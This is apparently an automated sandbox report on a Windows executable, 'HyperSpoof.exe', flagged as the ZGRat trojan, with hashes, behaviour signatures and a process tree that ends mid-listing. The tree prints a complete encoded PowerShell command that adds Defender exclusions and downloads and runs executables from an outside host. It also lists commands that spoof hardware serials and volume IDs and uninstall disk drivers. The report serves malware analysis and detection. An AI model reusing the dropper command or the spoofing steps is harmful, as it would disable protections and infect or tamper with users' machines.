Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09-05-2024 01:19

General

  • Target

    HyperSpoof.exe

  • Size

    172KB

  • MD5

    ca27199cf4415233d9297b430dcf9924

  • SHA1

    8b21031c8e4a1c5c89c5a70b293cf401b08cb5a4

  • SHA256

    71cf21d4e30ae98454b96a451083590210af75bf547df729f178c261a263ff1e

  • SHA512

    af5c81a1859a3786baff02aac13057f0261ac697209151ce6b8d39f37115d5a6bd471a9cd348d351382c0dd69a828628cf0b38c49f0b9c9ca498e3de539f16ac

  • SSDEEP

    1536:tZkNU8lY/Nz2M0SrbG8XbXUVF5486VQTGRhih2TKbWTwLpVD7ZTcXx:tZ8VA0mG8XbXw56xhi8TKJFA

Malware Config

Signatures

  • Detect ZGRat V1 3 IoCs
  • Process spawned unexpected child process 15 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Nirsoft 2 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Downloads MZ/PE file
  • Stops running service(s) 4 TTPs
  • Checks computer location settings 2 TTPs 6 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 64 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Enumerates connected drives 3 TTPs 30 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Maps connected drives based on registry 3 TTPs 64 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 7 IoCs
  • Drops file in Windows directory 6 IoCs
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 64 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 15 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 46 IoCs
  • Modifies registry class 2 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious behavior: LoadsDriver 24 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\HyperSpoof.exe
    "C:\Users\Admin\AppData\Local\Temp\HyperSpoof.exe"
    1⤵
    • Checks computer location settings
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1572
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAeQB0ACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAaQB0AHoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdwBjAHIAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaQBrAGwAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGIAbwBvAGsAcgBlAGEAZABpAG4AZwAyADAAMgA0AC4AbgBlAHQALwBjAGwALwBIAHAAcwByAFMAcABvAG8AZgAuAGUAeABlACcALAAgADwAIwByAHYAZgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGQAcwBzACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHMAdwB6ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEgAcABzAHIAUwBwAG8AbwBmAC4AZQB4AGUAJwApACkAPAAjAHYAegB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGIAbwBvAGsAcgBlAGEAZABpAG4AZwAyADAAMgA0AC4AbgBlAHQALwByAGUAbQBvAHQAZQAvAHMAcABoAHkAcABlAHIAUgB1AG4AdABpAG0AZQBkAGgAYwBwAFMAdgBjAC4AZQB4AGUAJwAsACAAPAAjAG4AZgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAeQB3AGcAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAcQBnAHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAcwBwAGgAeQBwAGUAcgBSAHUAbgB0AGkAbQBlAGQAaABjAHAAUwB2AGMALgBlAHgAZQAnACkAKQA8ACMAdwBnAG0AIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYgBvAG8AawByAGUAYQBkAGkAbgBnADIAMAAyADQALgBuAGUAdAAvAG0ALwBjAG8AbgBoAG8AcwB0AHMAZgB0AC4AZQB4AGUAJwAsACAAPAAjAGcAYwB6ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAagB2AHEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAdABmAGEAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAYwBvAG4AaABvAHMAdABzAGYAdAAuAGUAeABlACcAKQApADwAIwBnAHgAZQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBhAGYAcwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAeQB3AHkAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcASABwAHMAcgBTAHAAbwBvAGYALgBlAHgAZQAnACkAPAAjAGgAaAB4ACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGcAZgB3ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwB3AGUAcAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBzAHAAaAB5AHAAZQByAFIAdQBuAHQAaQBtAGUAZABoAGMAcABTAHYAYwAuAGUAeABlACcAKQA8ACMAeAB2AGwAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZwBkAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHEAZQB3ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAGMAbwBuAGgAbwBzAHQAcwBmAHQALgBlAHgAZQAnACkAPAAjAGsAYwBwACMAPgA="
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4708
      • C:\Users\Admin\AppData\Roaming\HpsrSpoof.exe
        "C:\Users\Admin\AppData\Roaming\HpsrSpoof.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious use of WriteProcessMemory
        PID:1324
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\Volumeid64.exe c: L59I-K5JS
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3396
          • C:\ProgramData\Microsoft\Windows\Volumeid64.exe
            C:\ProgramData\Microsoft\Windows\Volumeid64.exe c: L59I-K5JS
            5⤵
            • Executes dropped EXE
            PID:3456
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\Disk.bat
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1272
          • C:\ProgramData\Microsoft\Windows\DevManView.exe
            C:\\ProgramData\\Microsoft\\Windows\\DevManView.exe /uninstall "WAN Miniport*" /use_wildcard""
            5⤵
            • Executes dropped EXE
            • Enumerates connected drives
            • Maps connected drives based on registry
            • Checks SCSI registry key(s)
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2444
          • C:\ProgramData\Microsoft\Windows\DevManView.exe
            C:\\ProgramData\\Microsoft\\Windows\\DevManView.exe /uninstall "Disk drive*" /use_wildcard""
            5⤵
            • Executes dropped EXE
            • Enumerates connected drives
            • Maps connected drives based on registry
            • Checks SCSI registry key(s)
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4424
          • C:\ProgramData\Microsoft\Windows\DevManView.exe
            C:\\ProgramData\\Microsoft\\Windows\\DevManView.exe /uninstall "C:\"
            5⤵
            • Executes dropped EXE
            • Enumerates connected drives
            • Maps connected drives based on registry
            • Checks SCSI registry key(s)
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1276
          • C:\ProgramData\Microsoft\Windows\DevManView.exe
            C:\\ProgramData\\Microsoft\\Windows\\DevManView.exe /uninstall "D:\"
            5⤵
            • Executes dropped EXE
            • Enumerates connected drives
            • Maps connected drives based on registry
            • Checks SCSI registry key(s)
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1912
          • C:\ProgramData\Microsoft\Windows\DevManView.exe
            C:\\ProgramData\\Microsoft\\Windows\\DevManView.exe /uninstall "E:\"
            5⤵
            • Executes dropped EXE
            • Enumerates connected drives
            • Maps connected drives based on registry
            • Checks SCSI registry key(s)
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1156
          • C:\ProgramData\Microsoft\Windows\DevManView.exe
            C:\\ProgramData\\Microsoft\\Windows\\DevManView.exe /uninstall "F:\"
            5⤵
            • Executes dropped EXE
            • Enumerates connected drives
            • Maps connected drives based on registry
            • Checks SCSI registry key(s)
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3084
          • C:\ProgramData\Microsoft\Windows\DevManView.exe
            C:\\ProgramData\\Microsoft\\Windows\\DevManView.exe /uninstall "G:\"
            5⤵
            • Executes dropped EXE
            • Enumerates connected drives
            • Maps connected drives based on registry
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3424
          • C:\ProgramData\Microsoft\Windows\DevManView.exe
            C:\\ProgramData\\Microsoft\\Windows\\DevManView.exe /uninstall "Disk"
            5⤵
            • Executes dropped EXE
            • Enumerates connected drives
            • Maps connected drives based on registry
            • Checks SCSI registry key(s)
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3732
          • C:\ProgramData\Microsoft\Windows\DevManView.exe
            C:\\ProgramData\\Microsoft\\Windows\\DevManView.exe /uninstall "disk"
            5⤵
            • Executes dropped EXE
            • Enumerates connected drives
            • Maps connected drives based on registry
            • Checks SCSI registry key(s)
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3140
          • C:\ProgramData\Microsoft\Windows\DevManView.exe
            C:\\ProgramData\\Microsoft\\Windows\\DevManView.exe /uninstall "Disk&*" /use_wildcard""
            5⤵
            • Executes dropped EXE
            • Enumerates connected drives
            • Maps connected drives based on registry
            • Checks SCSI registry key(s)
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1976
          • C:\ProgramData\Microsoft\Windows\DevManView.exe
            C:\\ProgramData\\Microsoft\\Windows\\DevManView.exe /uninstall "SWD\WPDBUSENUM*" /use_wildcard""
            5⤵
            • Executes dropped EXE
            • Enumerates connected drives
            • Maps connected drives based on registry
            • Checks SCSI registry key(s)
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1540
          • C:\ProgramData\Microsoft\Windows\DevManView.exe
            C:\\ProgramData\\Microsoft\\Windows\\DevManView.exe /uninstall "USBSTOR*" /use_wildcard""
            5⤵
            • Executes dropped EXE
            • Enumerates connected drives
            • Maps connected drives based on registry
            • Checks SCSI registry key(s)
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1340
          • C:\ProgramData\Microsoft\Windows\DevManView.exe
            C:\\ProgramData\\Microsoft\\Windows\\DevManView.exe /uninstall "SCSI\Disk*" /use_wildcard""
            5⤵
            • Executes dropped EXE
            • Enumerates connected drives
            • Maps connected drives based on registry
            • Drops file in Windows directory
            • Checks SCSI registry key(s)
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2760
          • C:\ProgramData\Microsoft\Windows\DevManView.exe
            C:\\ProgramData\\Microsoft\\Windows\\DevManView.exe /uninstall "STORAGE*" /use_wildcard""
            5⤵
            • Executes dropped EXE
            • Enumerates connected drives
            • Maps connected drives based on registry
            • Drops file in Windows directory
            • Checks SCSI registry key(s)
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4984
          • C:\ProgramData\Microsoft\Windows\DevManView.exe
            C:\\ProgramData\\Microsoft\\Windows\\DevManView.exe /uninstall "WAN Miniport*" /use_wildcard""
            5⤵
            • Executes dropped EXE
            • Enumerates connected drives
            • Maps connected drives based on registry
            • Checks SCSI registry key(s)
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2824
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SS %RANDOM%HP-TRGT%RANDOM%AB
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4676
          • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
            C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SS 13740HP-TRGT23541AB
            5⤵
            • Executes dropped EXE
            PID:3652
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SV 2%RANDOM%HP-TRGT%RANDOM%RV
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1968
          • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
            C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SV 213743HP-TRGT1522RV
            5⤵
            • Executes dropped EXE
            PID:1984
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SK 8%RANDOM%HP-TRGT%RANDOM%SG
          4⤵
            PID:4044
            • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
              C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SK 813743HP-TRGT1522SG
              5⤵
              • Executes dropped EXE
              PID:2328
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SU auto
            4⤵
              PID:732
              • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
                C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SU auto
                5⤵
                • Executes dropped EXE
                PID:4880
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SK 5%RANDOM%HP-TRGT%RANDOM%SL
              4⤵
                PID:2444
                • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
                  C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SK 513743HP-TRGT1522SL
                  5⤵
                  • Executes dropped EXE
                  PID:440
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /BM 4%RANDOM%HP-TRGT%RANDOM%FA
                4⤵
                  PID:4512
                  • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
                    C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /BM 413747HP-TRGT12270FA
                    5⤵
                    • Executes dropped EXE
                    PID:1428
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /BS 6%RANDOM%HP-TRGT%RANDOM%FU
                  4⤵
                    PID:2796
                    • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
                      C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /BS 613747HP-TRGT12270FU
                      5⤵
                      • Executes dropped EXE
                      PID:1440
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /BV 3%RANDOM%HP-TRGT%RANDOM%DQ
                    4⤵
                      PID:1972
                      • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
                        C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /BV 313747HP-TRGT12270DQ
                        5⤵
                        • Executes dropped EXE
                        PID:4676
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /PSN 7%RANDOM%HP-TRGT%RANDOM%MST
                      4⤵
                        PID:3696
                        • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
                          C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /PSN 713747HP-TRGT12270MST
                          5⤵
                          • Executes dropped EXE
                          PID:812
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SM HOPESA-RSPPOF
                        4⤵
                          PID:4624
                          • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
                            C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SM HOPESA-RSPPOF
                            5⤵
                            • Executes dropped EXE
                            PID:1396
                        • C:\Windows\System32\cmd.exe
                          "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SS %RANDOM%HP-TRGT%RANDOM%AB
                          4⤵
                            PID:3624
                            • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
                              C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SS 13766HP-TRGT11225AB
                              5⤵
                              • Executes dropped EXE
                              PID:4880
                          • C:\Windows\System32\cmd.exe
                            "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SV 2%RANDOM%HP-TRGT%RANDOM%RV
                            4⤵
                              PID:2356
                              • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
                                C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SV 213766HP-TRGT11225RV
                                5⤵
                                • Executes dropped EXE
                                PID:3064
                            • C:\Windows\System32\cmd.exe
                              "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SK 8%RANDOM%HP-TRGT%RANDOM%SG
                              4⤵
                                PID:3976
                                • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
                                  C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SK 813766HP-TRGT11225SG
                                  5⤵
                                  • Executes dropped EXE
                                  PID:2268
                              • C:\Windows\System32\cmd.exe
                                "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SU auto
                                4⤵
                                  PID:2232
                                  • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
                                    C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SU auto
                                    5⤵
                                    • Executes dropped EXE
                                    PID:3488
                                • C:\Windows\System32\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SK 5%RANDOM%HP-TRGT%RANDOM%SL
                                  4⤵
                                    PID:4652
                                    • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
                                      C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SK 513766HP-TRGT11225SL
                                      5⤵
                                      • Executes dropped EXE
                                      PID:3592
                                  • C:\Windows\System32\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /BM 4%RANDOM%HP-TRGT%RANDOM%FA
                                    4⤵
                                      PID:4172
                                      • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
                                        C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /BM 413766HP-TRGT11225FA
                                        5⤵
                                        • Executes dropped EXE
                                        PID:3184
                                    • C:\Windows\System32\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /BS 6%RANDOM%HP-TRGT%RANDOM%FU
                                      4⤵
                                        PID:1296
                                        • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
                                          C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /BS 613766HP-TRGT11225FU
                                          5⤵
                                          • Executes dropped EXE
                                          PID:1348
                                      • C:\Windows\System32\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /BV 3%RANDOM%HP-TRGT%RANDOM%DQ
                                        4⤵
                                          PID:3436
                                          • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
                                            C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /BV 313766HP-TRGT11225DQ
                                            5⤵
                                            • Executes dropped EXE
                                            PID:4920
                                        • C:\Windows\System32\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /PSN 7%RANDOM%HP-TRGT%RANDOM%MST
                                          4⤵
                                            PID:4544
                                            • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
                                              C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /PSN 713766HP-TRGT11225MST
                                              5⤵
                                              • Executes dropped EXE
                                              PID:1276
                                          • C:\Windows\System32\cmd.exe
                                            "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SM HOPESA-RSPPOF
                                            4⤵
                                              PID:3540
                                              • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
                                                C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SM HOPESA-RSPPOF
                                                5⤵
                                                • Executes dropped EXE
                                                PID:2616
                                            • C:\Windows\System32\cmd.exe
                                              "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SS %RANDOM%HP-TRGT%RANDOM%AB
                                              4⤵
                                                PID:2340
                                                • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
                                                  C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SS 13786HP-TRGT10179AB
                                                  5⤵
                                                  • Executes dropped EXE
                                                  PID:3404
                                              • C:\Windows\System32\cmd.exe
                                                "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SV 2%RANDOM%HP-TRGT%RANDOM%RV
                                                4⤵
                                                  PID:2544
                                                  • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
                                                    C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SV 213786HP-TRGT10179RV
                                                    5⤵
                                                    • Executes dropped EXE
                                                    PID:4988
                                                • C:\Windows\System32\cmd.exe
                                                  "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SK 8%RANDOM%HP-TRGT%RANDOM%SG
                                                  4⤵
                                                    PID:2500
                                                    • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
                                                      C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SK 813786HP-TRGT10179SG
                                                      5⤵
                                                      • Executes dropped EXE
                                                      PID:2168
                                                  • C:\Windows\System32\cmd.exe
                                                    "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SU auto
                                                    4⤵
                                                      PID:4348
                                                      • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
                                                        C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SU auto
                                                        5⤵
                                                        • Executes dropped EXE
                                                        PID:2240
                                                    • C:\Windows\System32\cmd.exe
                                                      "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SK 5%RANDOM%HP-TRGT%RANDOM%SL
                                                      4⤵
                                                        PID:404
                                                        • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
                                                          C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SK 513786HP-TRGT10179SL
                                                          5⤵
                                                          • Executes dropped EXE
                                                          PID:2732
                                                      • C:\Windows\System32\cmd.exe
                                                        "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /BM 4%RANDOM%HP-TRGT%RANDOM%FA
                                                        4⤵
                                                          PID:4312
                                                          • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
                                                            C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /BM 413786HP-TRGT10179FA
                                                            5⤵
                                                            • Executes dropped EXE
                                                            PID:4056
                                                        • C:\Windows\System32\cmd.exe
                                                          "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /BS 6%RANDOM%HP-TRGT%RANDOM%FU
                                                          4⤵
                                                            PID:1972
                                                            • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
                                                              C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /BS 613786HP-TRGT10179FU
                                                              5⤵
                                                              • Executes dropped EXE
                                                              PID:732
                                                          • C:\Windows\System32\cmd.exe
                                                            "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /BV 3%RANDOM%HP-TRGT%RANDOM%DQ
                                                            4⤵
                                                              PID:1984
                                                              • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
                                                                C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /BV 313786HP-TRGT10179DQ
                                                                5⤵
                                                                • Executes dropped EXE
                                                                PID:3832
                                                            • C:\Windows\System32\cmd.exe
                                                              "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /PSN 7%RANDOM%HP-TRGT%RANDOM%MST
                                                              4⤵
                                                                PID:4984
                                                                • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
                                                                  C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /PSN 713786HP-TRGT10179MST
                                                                  5⤵
                                                                  • Executes dropped EXE
                                                                  PID:4680
                                                              • C:\Windows\System32\cmd.exe
                                                                "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SM HOPESA-RSPPOF
                                                                4⤵
                                                                  PID:2228
                                                                  • C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe
                                                                    C:\ProgramData\Microsoft\Windows\AMIDEWINx64.exe /SM HOPESA-RSPPOF
                                                                    5⤵
                                                                    • Executes dropped EXE
                                                                    PID:856
                                                                • C:\Windows\System32\cmd.exe
                                                                  "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\Volumeid64.exe a: 9STD-728M
                                                                  4⤵
                                                                    PID:1848
                                                                    • C:\ProgramData\Microsoft\Windows\Volumeid64.exe
                                                                      C:\ProgramData\Microsoft\Windows\Volumeid64.exe a: 9STD-728M
                                                                      5⤵
                                                                      • Executes dropped EXE
                                                                      PID:2600
                                                                  • C:\Windows\System32\cmd.exe
                                                                    "C:\Windows\System32\cmd.exe" /C C:\ProgramData\Microsoft\Windows\Volumeid64.exe b: L3HH-BOM7
